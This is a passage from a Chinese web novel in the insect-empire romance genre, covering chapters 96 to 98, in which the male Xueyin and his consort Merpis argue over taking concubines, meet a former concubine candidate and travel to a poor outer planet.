听话,顺从,懂得看眼色——这些在高等雄虫眼中或许不值一提,甚至被视为缺乏个性和能力的特质,却是希利安手中最合适的标签。一个需要依靠听话来获得存在价值的低等级雄虫,被摆上继承者的位置,这本身,就是对他那位等级至上祖父最大的羞辱。 “雪因,现在洛伽南已经成婚,你身边总得有个妥帖的虫照料起居。我派虫——”洛伦兹说道。 “洛伽南成婚了?” 雪因回府这些日子,确实没见到那位,自己这段时间诸事缠身,也未曾询问。 “嗯。” 洛伦兹点头,“他现在是莫里亚斯名下雌子。至于婚事,就是和你的那个希利安。” “……噢。” 其实雪因对于洛伽南成婚,并无太多感觉,只是…“希利安成婚,会不会太早了些?” “他那个等级,不趁着年轻早点成婚,多繁衍子嗣,还能等什么?” 这是所有低等级雄虫在帝国婚姻市场上普遍的功利性命运——尽快、尽可能多地贡献生育价值。 “那我这等级——” “你不急。” 洛伦兹毫不犹豫地打断了他,看到一直置身事外、游刃有余的墨尔庇斯听到这句话顿了一下,面色刚闪过一丝涟漪,瞬间又被阴郁覆盖。 于是洛伦兹笑了。想就这么轻易地嫁给他的宝贝雄子?哪有这么便宜的事。也不看看自己之前都做了些什么好事,更别提至今连一个正经的的雄虫崽都没有。还差得远呢。 “我——” “等你们生下雄虫再说。” 洛伦兹没给他继续发言的机会,干脆利落地结束对话—— 作者有话说:年底工作越来越忙,加上故事临近尾声,需要好好整理之前的伏笔和收尾,所以接下来暂时调整为隔日更。会争取在过年前把正文好好完结,等到年后再为大家送上小甜饼番外~ 辛苦大家等我,也提前祝各位新年快乐呀!? 第96章 预备雌侍 “走吧。” 雪因握住墨尔庇斯的手,准备离开雄父的府邸。 墨尔庇斯垂眸,目光落在交握的手上。雪因的手比他小了一圈,骨节纤细分明,或许因为肤色太过白皙,指关节处总是透出淡淡的粉色,像初绽的樱花瓣。手腕也细,他就能轻易圈住。他几乎能想象到只需要在上边轻轻一咬,便会留下鲜红刺眼的标记。 还是瘦了些。他微微收拢了指尖。 “怎么了?” 雪因拉了一下没拉动,疑惑地回头,蓝眸映着对方高大的身影。 “……没什么。” 墨尔庇斯淡声应道。他反手握住雪因。 他是个学习能力极强的虫,很快掌握了合适的力道,不至于太重再次把雪因捏疼。 “雪因,等等。” 阿斯特拉的声音从府邸大门处传来。他站在洛伦兹身后半步的位置,“既然要出去,顺路的话,帮雌父去交易所带点东西回来?” “什么东西?” “唔、就…”阿斯特拉不是很想说,眨了眨和雪因相同的蓝眸,“一些私虫用的小玩意。你到了那里,提我的名字,管事就知道了。” “……好。” “乖虫崽,” 阿斯特拉笑容加深,走上前,慈爱地摸了摸雪因的头,“我刚已经派虫送了些东西去你的王爵府。你不在的这些年,雌父给我家漂亮小雄虫攒的礼物可是一件都没少,都好好留着呢。” 雪因心头一暖,眉眼弯起:“好。谢谢雌父。” “别想着转头就全分给你的希利安。” 一直沉默站在门边阴影里的洛伦兹冷淡地开口,一眼就看穿了自家雄子瞬间飘忽的眼神。 自家虫崽什么性子他清楚,待会回去,那些好东西多半会被他大方地分给身边在乎的虫,包括旁边这个冷面雌君。墨尔庇斯自然不屑于拿雄虫的东西,阿南克大概也不会,但那个希利安… “……” 雪因被戳中心思,有些尴尬地扯出一抹笑,摸了摸鼻子。只是想着刚给两个虫崽登记,抽些礼物送去。 “你雄父的意思是,” 阿斯特拉笑着打圆场“给希利安的那份,已经单独准备好了,连同身份文牒一起。还有,你雄父特地让人给你新制了符合你如今王爵身份的礼服织锦,用的是库房里最好的月光鲛纱和焰心金线。回头你让府里手艺最好的绣虫过去给你量体裁衣……算了,干脆我派两个得力的绣虫和管事过去你那边一阵子吧。你府里现在能顶用的虫实在太少了。” 他说到这里,他目光自然地扫过雪因,又掠过墨尔庇斯。“早些多娶几位出身妥当的雌侍回来,也能替你分担许多。” 阿斯特拉倒是不太在意提到雌侍这件事,在他以及大多数高等贵族雌虫看来,这再正常不过。总之雪因还是得多娶几个,身为王爵繁杂的事务太多,墨尔庇斯是不着家的,公务缠身,自然不可能围着雪因转,且最后还是得回战场。 雪因身边需要更多可靠且能干的虫。没什么比知根知底、利益绑定的雌虫更好用。就连洛伦兹自己身边,除了他这位雌君,也留两位的雌侍,一位在军部替他处理日常军务,让他能更多时间陪伴雄主;一位兼具管家之能,将府邸内外打理得井井有条。 这些雌侍都已育有虫崽,与主家的利益深度捆绑,忠诚可靠。 总归也不可能影响雌君的地位,给雄虫解闷的小玩意而已。 墨尔庇斯握着雪因的手几不可察地收紧了一瞬,又迅速放松。他微微抬起下颌语气平静:“嗯。回去后,我会着手安排。” 被安排的雪因:“……” 离开雄父府邸一段距离后,雪因拉着墨尔庇斯拐进一条僻静小巷。下意识地带着点安抚意味地贴近对方,双臂环上墨尔庇斯精悍的腰身,将脸埋进他坚实的胸膛,轻轻蹭了蹭。鼻尖萦绕着熟悉的极具侵略性的信息素,随着他的拥抱隐藏在内的暴戾一点点褪下。 直到感受到对方身上传来的信息素相对平稳,雪因才松了口气,抬起头,双手捧住墨尔庇斯的脸,望向那双让他‘心悸’不已的眼眸,清晰地说道:“我是不会娶什么雌侍的。我只要你就够了。” 墨尔庇斯垂眸看着他,既没反驳,也没赞同。 这次出府没有带侍虫,雌父眼神在墨尔庇斯身上飘了一会,说现在帝星很安全没有侍虫也没关系,加上雪因身上有规则的力量保护模糊了信息素和容貌,也不会有陌生虫能认出他,所以雪因倒是能从王爵的身份暂时解放出来,像平常虫那样和墨尔庇斯在街上逛。 墨尔庇斯不置可否,显然也认同阿斯特拉的话,他作为传统派也是受帝国规则压制最狠,最后成为规则的一部分,是最强大的,又是系统内最听话不过的,就算那种极端情况仍守着规则领兵完成自己的使命,更别提现在相对安全,那么…雪因身边也确实要着手准备雌侍。 墨尔庇斯心中难以名状的沉闷感翻涌上来,又被他强行压了下去。他开口:“等我军务暂缓,会为你筛选。你喜欢怎样的雌虫?像之前那样不太安分的?” “之前?”雪因疑惑,随即立刻拒绝,“我不要,我有你就够了。” “容不得你要不要。” “……”雪因怔了一下,但他立刻摇头,用力地收紧环抱的手臂,“没有以前,也不要以后!我说我只要你,听不懂吗?你以前都不会这样急着把我往外推的,怎么现在…” “你身边总需要些贴心的虫。”墨尔庇斯打断他,握住一只手,指腹摩挲着对方细嫩的腕骨,“陪你说说话,解解闷,养在府里。免得你兴致来了,想玩的时候,身边空空荡荡。” “我不想找那种乐子!”雪因猛地抽回手,这下是真生气了,“你不需要为我雌父的话考虑太多,娶不娶,娶谁,这是我作为雄主应该考虑和决定的事!” “这是你雌君要考虑的事。”墨尔庇斯无情打断,黑眸沉沉,“你能考虑什么?凭心血来潮,还是总是心软?”他重新握住雪因的手腕,拉着闹别扭的雄虫走。 “你还不是我正式的雌君呢!”雪因气结,口不择言地顶了回去。 “噢?”墨尔庇斯眼眸危险地眯起来,“我不是?” “……” “你是。”雪因很快在对方强势的眼神中败下阵来,倒也不是不能强硬,而是他忽然意识到——墨尔庇斯听到他拒绝要雌侍后表面强势,步步紧逼,但实际上,身上传来的情绪反而从最初的紧绷僵硬,逐渐变得越发放松。 “什么嘛,明明自己也不想,非要装出一副公事公办的样子…”雪因小声囔囔,忽然福至心灵。 雄父说过,雌虫思维直来直去,脑子都不好,智力堪称一只成年星果,眼中除了雄虫没什么事。遇到抵触有时反而会钻牛角尖,不能光听他们嘴上说什么,得用看不见的信息素去感受真实。 雪因隐约觉得摸到了什么东西。至少他小声嘟囔时,他偷偷感知,发现墨尔庇斯周身那股压迫性的气场几不可察地一滞,随后情绪像是愉悦了一些,与他脸上依旧维持的严肃危险表情截然不同。 雪因心里忽然有了底,用那双蓝眼睛瞥了墨尔庇斯一下,顺从地任由墨尔庇斯牵着他,继续向前走去。 “喜欢怎样的雌虫?”墨尔庇斯拉着雪因前进时再次提起,听起来漫不经心,仿佛只是随口延续之前的话题。 雪因再次感受到,墨尔庇斯传来的情绪充斥着一股恶趣味和有恃无恐,他认定雪因会拒绝,所以才会说这种话出来。 雪因努力分析着,要么就是想听他一遍遍拒绝,这可以让他在沉重的传统规训中暂时免责,将责任归于他这个任性雄主头上,而自己已经做到雌君应做的事。或许他潜意识也是不想,只是规则太重,墨尔庇斯自己就是这套体系塑造出的最完美的产品。 要么就是,他想看自己情绪失控?雪因隐约意识到每次自己表现出负面情绪,墨尔庇斯像是松了口气,重新挂上游刃有余能轻易掌控的安心感,于是一次次刺激他情绪,将话题引到危险的方向。 为什么?这样让他有安全感? 雪因忍不住抬起眼,略带困惑地看向墨尔庇斯,试图从那片平静下挖出更多真实。 “嗯?”墨尔庇斯察觉到他的目光,微微偏头,黑眸里没什么情绪,却精准地抛出刻意的选项,“红头发的?” 这问题来得突兀。没等雪因回答,巷子另一头拐角处,恰好出现了一道身影。 是一个身姿挺拔的年轻雌虫,最引人注目的便是一头火焰般鲜艳的红发。他目光落到雪因身上时骤然一亮,令他魂牵梦萦的气息,足以让他瞬间辨认。 红发雌虫先是小心看了一眼雪因身侧高大的墨尔庇斯,眼中闪过敬畏与忌惮,挺直脊背,动作标准僵硬地躬身行礼:“元帅大人日安!” 再转向雪因,毫不犹豫地单膝跪地,脸上瞬间绽开惊喜仰慕的笑容。他跪行挪到雪因面前,想伸手去触碰雪因的手背,行一个亲昵的吻手礼,雪因却躲开了。 这时候雪因也认出来了,是阿诺德,之前…谁给他准备的预备雌侍之一。 “殿下!您终于回来了!您不在帝星的这些年,我们无时无刻不在思念您……” 声音饱含情感,姿态卑微又热切。 规矩,合格。 身份背景,同样合格。 以及作为预备雌侍面对雄主的姿态,同样合格。 合格到墨尔庇斯挑不出一丝错,却让他周身的气息沉了一瞬。他移开视线,握着雪因的手不自觉加重了力道。 而雪因在对方跪地仰头、红发垂落的那一刹那,瞳孔猛地收缩。眼眸里记忆深处闪过玫瑰金色的雌虫发色,熟悉的红发落在他身上与他发丝纠缠不清,对方依旧看不到脸,嘴角却勾着蛊惑笑意,一遍一遍说着让他愉悦的话,却让他从骨子深处溢出密密麻麻的痛意。 雪因下意识往后躲了一步,错开对方的手,脸色有些发白,“抱歉。我不喜欢红发。” “嗯?”这下是墨尔庇斯有些诧异。 于是雪因再次强调,“我不喜欢。最讨厌红头发了。” 跪在地上的阿诺德僵住。下意识地低头看向自己垂落胸前的一向被夸赞耀眼的红发,垂落在身侧的手不自觉紧了紧。 “既然殿下说了不喜欢,还留在这里碍眼做什么?”墨尔庇斯淡声开口。 雪因顾不上去看阿诺德的反应,却感觉墨尔庇斯传来的情绪突兀地愉悦了几分。但他现在脑子太乱容不得整理,本能地寻求最可靠的庇护,干脆转身将自己整个埋进墨尔庇斯宽阔坚硬的怀抱,双臂紧紧环住他的腰,脸深深埋在他胸前。 对方惯常带有侵略性的精神力,敏锐地察觉到了怀中心爱的雄子状态异常。于是变得柔和熟练地缠绕上去,轻轻融入雪因的精神图景,亲昵安抚着。 熟悉而强大的气息彻底包裹,雪因紧绷的身体才一点点放松下来,却也不愿松开,倒是像幼时无意识那样紧紧抱着墨尔庇斯。 墨尔庇斯心底软了几分,终是没有推开,单手将扒着自己雪团拥入怀中,以绝对守护的姿势。 阿诺德将这一幕收入眼底,脸上的血色褪尽。失落落魄的站起身,带上了一丝无措悲哀。“……是。” 他转身欲走,墨尔庇斯的声音再次淡淡传来,: “第一军团,第七作战分队还有一个中将的空缺。我会寄上推荐信。” 阿诺德猛地顿住脚步,眼眸忽的亮起来,挺直身体再次行礼,声音激动: “是!多谢元帅!元帅仁慈!” 第97章 那么…想站在台下看看吗…… 心神不宁的雄虫显然不再适合在外,于是墨尔庇斯先将雪因送回王爵府。 雪因像是累极了,在他怀中昏沉睡去,长睫低垂,呼吸清浅,后半程路几乎是由墨尔庇斯抱着回府。 将雪因轻轻放在主卧宽大柔软的床上,看着他无知无觉,昏昏睡去。 很快,以兰斯为首的医疗团队进入房间,为沉睡的雄虫进行检查。柔和的光芒映照着雪因苍白的脸颊,他额间渗出细密的冷汗,即使在睡梦中似乎也不得安宁。 墨尔庇斯在不远处沙发静静看着。看着雪因被各种医疗虫围在中心;看着那些仪器闪烁的冷光,听着它们发出的细微嗡鸣。忽的不知道自己在做什么。 一场盛大荒诞的演出。雪因被重重迷雾蒙住双眼,推至舞台中央,为他心中认定的正确与真实,全心全意地投入。而他坐在台下心情复杂地观看着。偶尔被拉上台,配合着演出一段恩爱或争执的戏码,却又时时刻刻想砸了这场戏。 这就是你想要的吗? 谎言覆盖谎言,虚实混淆真相。 他望着床上那抹脆弱固执的雪色,略微疲惫地垂下眼帘。 “元帅大人。” 墨尔庇斯抬眼,目光落在与医疗虫一同进入房间的希利安身上。年轻的雄虫身上流淌着雪因一半的血脉,却呈现出与雪因截然不同的气质。眼中闪烁着对权力清晰的热望,举止间带着刻意训练的、符合帝星高阶雄虫标准的矜持与心计。他懂得利用规则,甚至努力想要成为规则的一部分,为了往上爬,可以毫不犹豫地利用一切,包括他自己的受害者身份。 让他无端感到厌恶。 如果不是希利安的等级足够低,低到既能有效恶心到某些眼高于顶的虫,又不可能威胁雪因的地位,甚至看起来还颇为上道…他早就亲手清理掉这个不安分的隐患了。 希利安莫名感到脊背发寒,下意识地后退了半步。又极力稳住身形:“殿下…殿下他永远不会恢复记忆的。我向您保证。” 墨尔庇斯声音淡淡:“如果他恢复记忆,知道这一切背后是谁的手笔…即便你是他的虫崽,他也未必会原谅。” 希利安抿了抿唇,压下眼眸中的阴霾,沉静开口:“是的。但这样做能让您安心,不是吗?就算…就算真有那一天,殿下知道了所有真相——知道是我、我雌父,策划推动了一切,无论如何也不可能再和我雌父和好如初,再做出违背规则的事。由我来做这个恶虫,再合适不过了。” “毕竟在殿下眼中,我始终是那个需要他庇护的、可怜的、低等级的雄子,是这场阴谋里最直接的受害者。只要有我在,他多少会顾忌我,就算恢复记忆,也会乖乖待在您身边。” 墨尔庇斯看着希利安脸上那混合算计与隐隐疯狂的神色,只觉得厌恶感几乎要冲破胸腔。从雪因深爱的雌虫,到如今环绕在雪因身边的这些侍从、医师,再到这只流着雪因血脉却自发走上权势、不惜斩断所有温情退路也要将雄父牢牢绑在既定轨道上的虫崽…这一切,都让他感到烦躁。 那雪因呢?自小在冰冷严苛的规则与算计中长大,却偏偏固执地想要逃离养育他的温床,去触摸那或许并不存在的、真实的阳光与自由。 最终还是被自己生下的虫崽牢牢捆绑回来。 “你雄父已经赐予你维斯特冕的姓氏,”墨尔庇斯终于再次开口,“希利安,适可而止。” 他霍然起身,径直走向床榻。在众目睽睽之下,伸出手将昏睡中的雪因从层层包围中抱了起来。 雪因无意识地在他颈窝处蹭了蹭,发出一点含糊的呓语。 墨尔庇斯收紧手臂,环抱着他的整个世界,转身离开。 就算这一切都是因他而起。 他的过去,他的将来。 —— 阳光透过高耸的彩绘玻璃窗,在王爵府偏厅的光洁大理石地面上投下斑斓的光影。空气中弥漫着高级熏香和崭新织物的气味。数名训练有素的侍虫垂首肃立,厅中央,雪因穿着一件丝质衬袍,身姿挺拔地站着。 一位年长的雌虫,他手中拿着一块在光线下隐约透出火焰纹路的布料,小心翼翼地比量着雪因的肩膀。 “殿下,请您抬一下手臂,是的,就这样保持。” “这是陛下赐下的焰心金线混织的料子,库房里最顶尖的珍藏。您看这光泽和垂坠感,与您的发色堪称绝配。我们将用它制作典礼主礼服,其余十一套常服和次礼服也已选定面料,待您最终确认。” 另一名捧着天鹅绒托盘的侍虫上前半步,托盘上陈列着各色宝石扣饰、刺绣纹样和绶带样本。 “殿下,这些是配饰参考。维斯特冕家族的家徽,可以用银线刺绣,边缘点缀细小的海蓝宝,与您的眼睛呼应。或者,”侍虫指向另一枚设计更古朴大气的金质胸针,“选用传统星芒结合,彰显您王爵威严。” 雪因的目光淡淡扫过那些物件,忽然转过身,视线精准地投向房间一侧。 墨尔庇斯坐在一张雕花高背扶手椅中,手中拿着一份军部公文报告,似乎全神贯注。 雪因不说话,只是用那双澄澈的蓝眸静静地望着他。 “……”墨尔庇斯默默将手中的公文举高了一些,试图用纸页对方视线。 这只小雄虫最近无师自通了许多折磨虫的手段,而且每每直击要害,让他这位习惯了战场明刀明枪的元帅都有些措手不及。 “墨尔庇斯。”雪因清脆的声音响起。 好吧。还是躲不过。 墨尔庇斯在心底叹了口气,面上依旧没什么表情。他手腕一动,将公文随手放在了旁边的矮几上。对侍虫挥挥手示意退下。 雪因站在原地望着他,似乎等待着他先开口。 墨尔庇斯目光落回雪因脸上。“礼服既然是为您而制,您若对这些样式或配饰有偏好,按您的心意决定便是。若您觉得宫中派来的侍虫不合心意,或者想要更…契合您偏好的虫来打理这些琐事,我可以再为您遴选一些更细心的。” 如果真的想玩这种装扮游戏,他可以配合,但得由其他虫来操办。 经过上次的事,他长了些教训,也不是不能配合着小虫崽,只是面对这只记忆出了问题的雪因,他时常感到一丝无力… 无论是拒绝、妥协,都像是剧本之外的即兴发挥,而他,始终是那个被拉上台、努力配合着演出,却清醒地知道自己并非剧中主角的旁观者。 雪因不想听他话外之意的拒绝。 就着身上穿的长袍,几步走到旁边矮榻旁,从侍虫们先前放置的针线篮里,捻起一枚穿着银线的细针,又拿起一颗折射出星芒的蓝宝石衣扣。转身走向墨尔庇斯,挤进了墨尔庇斯怀里。 温热的身体带着织物的微凉和雄虫特有的清浅气息骤然贴近,墨尔庇斯身体僵硬了一瞬,下意识地想要后退,却被椅背和怀中人的重量困住。 雪因仿佛没察觉到他的紧绷,自顾自地调整了一个舒适的姿势,背脊轻轻靠着墨尔庇斯坚实的胸膛,然后将手里的针线和那颗璀璨的宝石扣,不由分说地塞进墨尔庇斯那只惯布满薄茧的手中。 “喏,”雪因仰起头,后脑勺抵在墨尔庇斯肩颈处,从这个角度,他能看到对方线条冷硬的下颌和微微抿紧的唇,“给我把这颗扣子缝到领口上。这个…你总会吧?” 墨尔庇斯沉默几秒,算是默许。手环过雪因的腰身,虚虚地稳住怀里的小麻烦,然后尝试用两根手指捏起那枚细针。另一只手拿起宝石扣,比量着雪因衬袍领口的位置。 “我记得,”雪因轻声开口,“你以前…是会给我缝制衣服的。” “我可不会做这种事。” 针尖对准了布料,他需要小心地将针穿过两层柔软的丝绸,再将线拉出,固定扣子。他试图集中精神,手腕用力—— “嗤。” 布料被穿透。 银针穿过衣料,也毫无意外一并刺穿了他捏着布料下方的指腹。殷红的血珠迅速渗出,染在月白色的丝质长袍上,晕开一点刺目的痕迹。 雪因:“……” 他显然也没料到会是这样。看着那迅速扩大的小小血点,以及墨尔庇斯面不改色、仿佛被扎的不是自己手指般的平静侧脸。 墨尔庇斯淡定地将针拔出:“要不,你先把衣服脱下来。我再给你缝。” 雪因心有余悸,连忙点头,仿佛真被那针扎怕了——尽管被扎的不是他。但他还是迅速从墨尔庇斯怀里起身,将还带着体温淡香的长袍,不由分说地塞进墨尔庇斯手里。 之后雪因就着这个姿势倾身向前,重新坐回墨尔庇斯的腿上。隔着薄薄的布料依旧能感受到对方身上传来的温热细腻的肌肤温度。 墨尔庇斯尚未从中理清思绪,右手便被雪因再次捧起,他往下望去,撞入对方眼眸。 蓝眸在近距离凝视下漂亮极了,只是专注地看着指腹上已经凝结成暗红色小点的血迹,雪因低下头。 温软湿润的唇瓣轻轻碰触到微糙的指腹,给墨尔庇斯带来一阵酥麻。柔软湿润的舌尖从伤口上舔舐而过。 “唔!” 战栗般的酥麻顺着血管逆流而上,猛撞进心脏,又在四肢百骸里炸开,带来眩晕的强烈悸动。混合着雄虫唾液特有的、难以言喻的微甜气息。 墨尔庇斯浑身肌肉在一刹那绷紧到了极致,脊背猛地撞上椅背,喉结上下滚动,漆黑的双眸深处仿佛有熔岩在冰壳下沸腾、咆哮,几乎要冲破那层冷硬的伪装。 环在雪因腰间的手臂瞬间收紧,力道大得几乎要勒断那截腰,却又在下一秒僵硬住,手臂微微颤抖。 怀中是温香软玉、全然不设防的雄虫,耳边是他清浅的呼吸,鼻尖全是他诱人的气息,指尖还残留着那湿软舌尖带来足以燎原的触感。欲望如同黑暗中疯狂滋长的藤蔓,瞬间缠绕住他的心脏和理智。 只需要顺势将这只天真又任性、记忆混乱的小雄虫按进怀里,加深这个吻,或者做更多…反正雪因现在脑子不好,对他莫名的依赖和顺从,多半不会反抗。他可以尽情品尝,在白皙的肌肤上留下属于自己的印记,暂时忘却所有阴谋、规则和令人窒息的演出。 可是…… 偏偏他现在脑子不好。 亲密、毫无保留的依赖,是建立在混乱的认知和虚假的记忆之上。如果他真的顺着欲望做了,那和他所厌恶的、那些将雪因当作棋子摆布的行为,本质上又相差多远? 翻腾的晦暗欲念,被强行压回黑眸深处。最终他抬起手,在雪因脸颊上胡乱揉了几下。 “安分点。” 他移开视线,不再去看怀中那截白皙的脖颈和微微敞开的领口风光,专心对着纽扣。 “墨尔庇斯。” “嗯?”墨尔庇斯应道,声音比起方才,不自觉地温和了些许,指尖的动作也放慢。 “过几天的星辉庆典……我想让希利安代表维斯特冕家族出席。” 墨尔庇斯手一顿,很快又不甚在意的继续和针线斗争,“谁在你面前提了些什么?” “没有谁,我自己想的。那种庆典,我出席与否都不会改变我是维斯特冕王爵的事实。但对希利安来说,这是他第一次以这个姓氏、以我继承虫的身份,正式在帝国核心圈层面前亮相的机会。他毕竟…是我的虫崽。我不想让他永远只活在阴影里。” …… “你想把他推到台前,我可以安排。军功、政绩、联姻…有无数条路可以让他亮相,不需要你为他牺牲。” “这不是牺牲。”雪因端坐起来,鼻尖几乎要碰到墨尔庇斯的鼻尖,带着笑看着他,“这种庆典,从小到大我参加过无数次,每一次都是我穿着最华丽的礼服,站在最显眼的位置,接受所有人的注目和礼赞——但每一次,都只有我一只虫。” …… 墨尔庇斯喉结微动,刚想开口:“抱歉,我那时军务——” “不,我的意思是,我其实一点都不喜欢参加这种庆典。” 雪因打断他,轻轻呼出一口气,终于说出口:“我一直很讨厌这种太热闹的场景,总是我一只虫,虽然雌父雄父他们会来看我,但每次热闹过后回到我的王爵府,偌大的府里又只剩下我一只虫,落差太大了。我…我去不去,都只是我,台上的我是维斯特冕的继承人,帝国最尊贵的雄虫。台下的我…我分不清我该是什么。我还能是什么。” “……”墨尔庇斯沉默着,搂紧了怀中的雄虫,“…不想去,就不去了。我会安排好。” “嗯。” …… …… …… 就在雪因以为对话已经结束时,墨尔庇斯低沉的声音再次响起: “那么…想站在台下看看吗?” “嗯?” “你不是说,想看看褪去王爵身份后,台下的你是谁吗?从那个万众瞩目的台上走下来,走到人群里,走到阴影中…去亲眼看看,你所好奇的、所谓的真实。” “真实?”雪因的心跳莫名漏了一拍。 “嗯,” 墨尔庇斯的指尖拂过刚缝好的、冰凉的宝石扣面,语气平淡却意味深长,“不过,那可能不会是你想象中,或者希望看到的景象。” 雪因垂下了眼眸,半响,他无意识地舔了舔似乎有些干燥的嘴唇,还是抬起头。“想。我想去看。” “好。”—— 作者有话说:希利安:真正的官配党,拆我官配的都鲨鲨鲨 第98章 我的虫崽,自然是这世间…… 雪因新奇地打量着身上这套平民服饰,深沉的黑色布料柔软贴身,剪裁利落,去除繁复的宫廷装饰后,行动起来莫名轻快。 于是左转右转在镜子面前走来走去,还是让他发现了一丝不同,迎着光线,看似漆黑的布料似深渊一般能将光线吞噬,更别提布料内侧金色丝线织就的繁复纹路,似在缓缓释放精神力,暖暖的。 “墨尔庇斯,”雪因转过身,看向身后同样一身墨黑的高大雌虫,“这是你特意准备的吗?” 墨尔庇斯目光正落在雪因身上,眼神深邃,似在欣赏。 雪因一时唤起他的名字,他倒反是愣了几秒这才回应。 “嗯。准备很久了。” “很久有多久?”雪因追问。 “当初准备带你离开的时候,就备下了。” “当初?”雪因蓝眸有些好奇地眨了眨,“你想带我去哪儿?” 墨尔庇斯眼眸暗沉一瞬,总归将之前未尽的阴暗欲望深埋,没有继续回答。 雪因没有纠缠,已经快习惯墨尔庇斯这副模样,“那…好看吗?我穿这身。” “……” “好看吗?”雪因再次发问,甚至凑近一步,扬起一个明亮的笑容,由下至上地用那双湛蓝清澈的眼睛望着墨尔庇斯。 墨尔庇斯没有回答。视线从雪因亮晶晶的眼眸,滑过他挺翘的鼻尖,落在那张微微张开、仿佛等待评价的唇上。移开目光,伸手拿过旁边一条素白的细纹布带,微微俯身,另一只手拉起雪因的手腕。 比起复杂的帝星宫廷制服,这种简单的衣服对他来说倒是简单不少,至少能亲自应付,看着垂落黑色在面前雪发,黑的越沉,越是将白衬得愈发惊心动魄。 “噢,对了!”雪因目光落在眼前散落的雪发,“我的头发…是雪色的,这可不好藏,会不会有些太显眼了?” 这是雪因第一次到‘台下’,莫名有些紧张。 “别担心。”墨尔庇斯抬起手,覆上雪因柔软顺滑的雪发,指尖将一缕垂落在脸颊旁的发丝别到耳后。 随着他的动作,墨黑色精神力自他掌心流淌而出一点点浸染对方雪色,直到将那片雪色化为与他无二致的黑。 雪因瞳孔微微放大,立刻转身看向镜面。 镜中的少年顶着一头乌黑柔亮的长发,衬得本就精致的脸愈发白皙如玉,几乎有种剔透感。鼻尖和耳廓泛着浅浅的粉红。眼眸在极致黑白的对比下,蓝得像深海宝石,亮得惊人。 他现在看起来不再像高高在上不染尘埃的王爵,更像古老家族中,被保护得极好的小少爷。 墨尔庇斯也一时怔住,眼眸闪过溢出一层柔意。不由自主地向前几步,将雪因整个圈入怀中,下颌轻轻抵在对方刚染黑的发顶,鼻尖深深埋入发间,将雪色嵌入怀中。 “这样看,我们像一家虫!”雪因看着镜中同样黑发的两道身影,忽的兴奋起来,蓝眸闪闪发亮,“把阿南克也叫回来吧!就现在!我想这样和他一起拍照!我们三个一起!” 他说着,便想推开墨尔庇斯环抱的手臂,转身去找终端联系阿南克。 墨尔庇斯的手反而收得更紧了些。“他不是你的阿南克。他是他雄主的。” “……”雪因的后背抵着墨尔庇斯坚实温热的胸膛,微微使力想要挣脱看似温柔实则牢固的怀抱,却发现纹丝不动。他没好气地反驳:“他是我们的虫崽,而且他还小呢。” “都成年了小什么小。” “没有!他才——” “他的力量被刻意压制了,完全释放,就算成年了。”墨尔庇斯完全不提当年怎么压迫,现在怎么拔苗助长。 “啊?” “等他这次回来,我会安排虫帮他收拾,搬出去独立居住。没有已经成年的雌虫,还整天缠着自己雄父的道理。”反正他早就看那碍眼的虫崽不舒服。 “……”雪因被他这番有理有据又暗藏私心的安排噎住,一时气结。争执不过,干脆扭头张嘴就是一口咬在对方胸膛上,尖利的小虎牙毫不留情地刺破衣料,在紧实的肌肉上留下两个清晰的小红点,又迅速松开。 抬起脸,蓝眸瞪着墨尔庇斯,警告道:“他是我们的虫崽!没成婚前当然要住家里!就算…就算以后他成婚了,只要他愿意,我也要养他们一家!我的府邸足够大!” “……” “你还没回我呢?”雪因忽然反应过来,微微眯起眼,“刚才我问你…我穿这身好看吗?你怎么一直想转移话题?” 他可不傻,墨尔庇斯先用阿南克的事打岔,又沉默以对,分明就是故意的。 “……”墨尔庇斯目光不由自主凝视着对方的脸,那双蓝眸在阳光下泛着温柔的涟漪,像是能将世间一切冷硬与晦暗都包裹软化。他声音低沉下来,带着深藏在暗处的痴迷: “漂亮极了。我的虫崽,自然是星际最漂亮的。” 雪因犹豫一会,还是对上对方眼眸,说道:“我不是你的虫崽。” 他是他的雄主,是伴侣。 却莫名感到对方一直凝视着他的黑眸带上一丝危险,似乎是猛兽在捕猎前的征兆,瞳孔微微竖成一条直线。 “好吧好吧。”雪因避开视线,投降道。 “走吧。” —— 雪因跟着墨尔庇斯出门,却来到一艘黑暗不失锋芒的星舰上。 星舰看起来身经百战,光是靠近就感到一股子血腥味,雪因不自觉地握紧了墨尔庇斯的手。 “怕?”墨尔庇斯侧头看他,语气平淡。 雪因摇了摇头,“庆典不是在帝星举行吗?” 他记得很清楚,庆典的广场、仪轨、乃至观礼台的位置,都该在帝星核心区。 在帝星,短距离的瞬移对大部分有天赋的雌虫而言并非难事,即便天赋不足,依靠昂贵的定点传送阵也能实现高效通行。不需要用上星舰,除非—— “不在帝星。”墨尔庇斯回答道。 “嗯?很远么?” 这次墨尔庇斯没有回答,只是拉着雪因的手走上星舰。 星舰平稳升空,下方帝星璀璨的灯火与宏伟的建筑逐渐缩小。透过云层缝隙,能看到庆典广场的方向已经聚集起密密麻麻的小点,雌虫们忙碌地构建着防护与展示屏障,那些他曾经年复一年站立其上、接受朝拜的仪式核心区域,被他俯视着,越来越远,越来越小。 “希利安那边……”雪因忽的有些担心,第一次出席如此重要的场合,又是代替自己。 “安排好了,不用担心。” “噢。”雪因不知为何,现在总对墨尔庇斯的话莫名感到放心,仿佛对方无所不能。至少这种事情上,得到他的肯定后雪因完全放心下来不再追问。 星舰堪称稳健,速度极快,航行平稳得几乎感觉不到空间跃迁带来的颠簸。雪因甚至感觉还没有打量完这座墨尔庇斯常用的战舰,墨尔庇斯已经停在了缓缓开启的舱门前示意到了。 雪因顿了顿,缓步走去,墨尔庇斯已经习惯性地伸出手,雪因稳稳握住。 目的地是一座偏远的星球,目测不超过C级。空气中充斥的能量等级很低劣,雪因甚至感觉比不上之前逃亡居住的地方,太阳是橙红色的,明明是正午却像夕阳,只堪堪得到一些阳光的余热,和这个星球一样。像是造物主制造星球时剩下的边角料,随意揉几个团,便构成了这颗星球,空气中都带着细沙,充斥着燥意。 在这种地方就算天赋再高,也绝不可能凭自身超过A级,但走到相对聚集的街上,却和雪因以为的那种预想中的沉闷、压抑、死气沉沉截然不同。 热闹,甚至可以说是……鲜活。 很多雄虫。 或者说,雌雄比例似乎达到了一个在帝星完全无法想象的数值——接近一百比一。 他们与帝星那些被重重保护、几乎不轻易露面的高阶雄虫截然不同。这些低等级雄虫言行随意,身边跟随着同样等级不高的雌虫伴侣。怀里抱着虫崽,有的身边围着几个正在嬉闹、年纪不大的小虫崽。就这样毫无保护的在街道上,挑选着廉价的商品,交谈,说笑。 雪因看得有些出神。这是他从未亲眼见过的日常。 